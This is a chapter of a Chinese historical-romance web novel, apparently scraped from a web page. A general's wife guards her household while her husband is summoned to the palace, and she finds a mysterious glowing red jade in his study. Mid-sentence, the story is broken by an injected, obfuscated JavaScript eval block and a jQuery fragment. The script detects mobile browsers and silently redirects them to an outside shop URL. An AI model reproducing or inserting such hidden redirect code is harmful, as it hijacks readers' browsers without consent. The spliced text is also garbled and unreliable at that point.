周淮令甩了甩衣袖,这才理了仪容站直身子:“宁郎倒是少对凝香楼的事儿上心,今日也不知是怎么的,竟特别叫我去跑一趟。”
没得意半刻,他又是后肘一酸,刚立直的身子又被夏韵一个擒拿压弯,脑袋低到半腰处哭丧着求饶。
“是不是你把宁将军也带坏了!竟敢给他介绍妓子?!”
慕知言还未缓过神儿,还杵在一阵心慌之中,就见夏昀出手就逼得周小郎连连解释:
“宁郎最不爱去花街柳巷,今日偏要我去打听一个什么女子。夏女侠你可放手吧,叫人看了以为是虐夫的!”
这周淮令自认是女人堆中众星捧月般得受欢迎,却不知怎得一见到夏韵就什么讨喜的招儿都使不出来了,只想变着法地惹她炸毛生怒。他叫嚷着,周遭不明所以的路人都撑着头望这处看,生怕错过了什么大热闹。
果然这话一出夏韵气得嗷嗷直叫:
“就你这做派,我不仅虐夫我还要弑夫呢!”
说着拔出身边侍卫腰间别着的短刀就追着周淮令跑去,两人一前一后一溜烟就消失在大街的人群中。见二人打闹着跑远,慕知言这才侧脸去问银铃,眉头却已经皱成一团:
“他说宁珵远打听女子的下落,难道是府中那位?”
“除了她还能有谁呢。”银铃有些胆怯,将军竟特地托了周家的去打探,可见对那女子倒是有些上心的,“奴婢担心那女子不像个安分的,夫人不如与将军摊开了问,免得留了后患。”
晚市热闹,耍把戏的、沿街吆喝的摊贩铺展整条长街,欢声笑语此起彼伏,满城鲜活热闹的气氛叫人心头愉悦。
慕知言却始终一副心不在焉的模样,夏韵追了一阵便回来继续逛铺子了,见她整晚愁眉不展,问了许多次也没问出个所以然,倒也有些担心起来。
“你怎得也这般丧气,可是家中有事?”
“确是有些琐事,今日我先不与你作伴了,明日我将那支玫瑰金簪送至你府上,就当赔罪!”
说完慕知言就转头上了车驾,回府的车马颠簸在上京的小巷中,来往路人一见这车架的精致装饰和气势便知是哪个大户人家,纷纷避开让道。没一刻就回了宁府。
慕知言踏入府门,也并未理会徐管家相迎,径直变走去了她平日极少踏足的宁府书房。
房内还燃着烛火,只是木门虚掩着,她几步上前正欲踏入房内,思虑半刻还是停下脚步轻叩了两声门框。
待了片刻却无人应答,刚推开门,后头徐管家才小跑着追了上来。他见着人,才扶住墙气喘吁吁道:
“夫人,将军傍晚在书房议事,可今日忽收得宫里旨意,似是与军械相关,不久前就被召进宫去了。”
“军械?可是灵山寺那批军械?”
“这在下就不知了。将军只嘱咐见着夫人定要告知一声,今夜怕是要留在宫里了。”
“可还召了旁人?”
“将军已经派常遂去打听了,叫他打听到了一并告知夫人。刚刚常遂才回的话,圣上还传了兵部的和即将上任兵部尚书的夏启。”
宫里入夜传唤本就是极少有的事,这般急匆匆把人宣走定是大事。宁珵远特意安排了人打听告知,可见是料到了此番非同小可。如若是灵山寺那批军械出了事,究竟会是哪里出了岔子呢?
慕知言缓缓踱步,进了书房。如此情形必是得有备无患,可她身在宫外,也得不到半点风声,此刻再急也是无处下手。
军械,灵山寺…
她猛然想到在灵山寺遇见的那人,宁珵远曾告诉她那人投了齐鹄门下,去灵山寺定然与这批军械有关。难道他根本就不是去查军械的,而是在军械中做了什么手脚?
想到此处,更想到那人削瘦苍白脸上一双阴狠的眸子,她霎时打起寒颤,手脚冰冷得像困在严寒的雪地动弹不得。
不行,此刻绝不能惊慌,必须要做足了最坏的打算才好。倘若有人存心陷害,趁天亮早朝之前将一切打点好才是重中之重!
“徐管家,即刻派暗卫去慕府通知父亲,将我手写书信亲自交至他手中。嘱咐慕家天亮之前封好府门,调集将军所有侍卫护府。”
她立在书房门前,理清思绪后沉静地吩咐完一干事务。府中灯火已经按令尽数熄灭,只留府外牌匾上一盏,为的就是看清夜幕里外头的一举一动。前后院均排布好了人手,守过今夜,若有官兵前来,她必要做好拼死一搏的准备。
宫里面上说是为军械一事召人进宫,可开朝以来多少朝臣抄家之前都是被这般召入宫内。倘若慕家或是宁家其中一个今夜要遭难,亦或是都被搅入泥潭,凭借宁珵远养的这些精卫府兵也未必不能拼杀一刻。
此刻一个身着铠甲的侍卫慌忙着赶来了书房,见慕知言立在门前,他忽而屈膝跪地:
“常遂但凭夫人吩咐!”
来不及多解释,慕知言只下令道:“平川阁后院有个西域侍卫名叫固朔,他是个面生的京中无人相识。你给他派一队精兵盯紧了四皇子宫外的府邸,一旦有人出入,即刻拿下,活捉来见我。”
“是!”
常遂领命,正欲离开却被叫住:
“等等!将军白日里带回来的那名女子现在何处?”
常遂猛地一拍脑门,幡然醒悟:“是了!在下早就觉得她形迹可疑!”
“夫人莫慌,已经派人查探盯着呢。在外院暖阁呆得好好的,并未有什么动作。”徐管家赶忙回道。
“好,好。叫人盯紧了,万不能出岔子。”
常遂仍跪在地上,却突然俯身,叩首说道:“夫人,将军或是慕家若有不测,在下愿以死相护。哪怕反了这朝廷,也在所不惜!”
慕知言深深陷在掌心中的指尖稍微松了松:“你对慕家也是这份心吗?”
“将军交代过,慕家不得有失。”
她怔怔地看着地上跪着的人,心中的滋味不可言说。她料到宁珵远会用尽谋略尽力护慕家周全,却没想到他竟愿意为了慕家的安危这般明目张胆地与朝廷为敌。
众人皆散去,只留了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694658|206606||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
队侍卫贴身护着,她悄声走进书房,合上门。桌案上烛火还没燃尽,摇曳地照着他读了半卷的文书,上头墨迹刚刚干透,还印着浅浅的墨痕。
慕知言向桌案缓步走去,心中的恐慌在这空荡荡的,还留着他沉香气息的书房中油然而生。
她不知道今夜会发生什么,阴谋?算计?又或是另一场宫变?一切就这样毫无预兆地发生了。
倘若天亮之后他再不能回来…
想到这,那股被强压了许久的脆弱才顿时解了束缚般疯狂滋生出来。
而就在此时,脚下忽而“啪嗒”一声,有个木盒从旁边书架上掉了下来。慕知言走近,蹲下身捡起一看,木盒上落满了灰尘,似是个积年老物件,长久被搁置在书柜顶头被遗忘了。
握住衣袖拂了拂上头的灰,才看清是个桃木做的精致盒子。
她尝试着打开,却发现这盒子古怪得很,连个开口也没有,像是被整个封住了,可摇了摇里头又确实有东西。若是没个开关,这东西又是怎么放进去的呢?
拿在手上观察了许久,也没研究出个关窍,本想着放回原处,奈何实在太高踮着脚也够不着,她只得将盒子放在书案上。
可刚一脱手,那盒子竟如珠串散了线一般自己“哗”地一声打开了,几片长木零零散散摊在书案上。
慕知言心下好奇,拨开几片桃木想要一探究竟。果然中间有一团黄色纸张包着的东西。将纸张片片展开,才发现都是些画了符文的符纸,待展开最后一张符纸时,才发现里头包的竟是一枚红玉。
红玉猩红如血,呈一枚月牙状躺在符纸中间。
慕知言大吃一惊,她知晓自己自出生手中便握着一枚红玉,可周岁时这玉就不翼而飞了,因此从未亲眼见过。出嫁前她曾在在府中寻遍了,连二哥哥的私库都寻过,却全然不见踪迹。
难道这就是她一直要找的红玉?!可它怎会在宁府之中?
这红玉的呈色形状都和母亲先前所描述的如出一辙,更要紧的是就连它的大小也和先前在东院浴桶中时见到的那人身上的月牙胎记无甚差别。
将符纸抽开,这玉就如挣脱了束缚一般,忽而闪着耀眼的红光,光亮之显眼将整个书房都映成了血红色。
她伸出手指小心翼翼地去碰,而当她指间一触到玉的那一刻,一股温润清透的感觉传遍全身,让人似是着了魔般忍不住想要将它捧在手心中把玩。
慕知言发现这玉大有奇异之处,只要自己指尖相触,那诡异的红光就霎时暗淡下去,而指间一挪开,便又亮得妖异。
正犹豫着要不要伸手拿起,外头守卫似是察觉到屋内红光闪烁,听得有人敲门问道:“夫人在屋里可有异样?”
慕知言一惊,赶忙将玉握在掌中想要盖住异样的红光:“一切安好。”
谁知手掌刚碰到这玉,身子一瞬间便像被抽空了一般瘫软下去。她感到自己脑袋无力地砸在了面前的桌案上,想要立直身子却怎么也使不上一点儿力气,宛如被人摄了魂魄一般全然不能行动。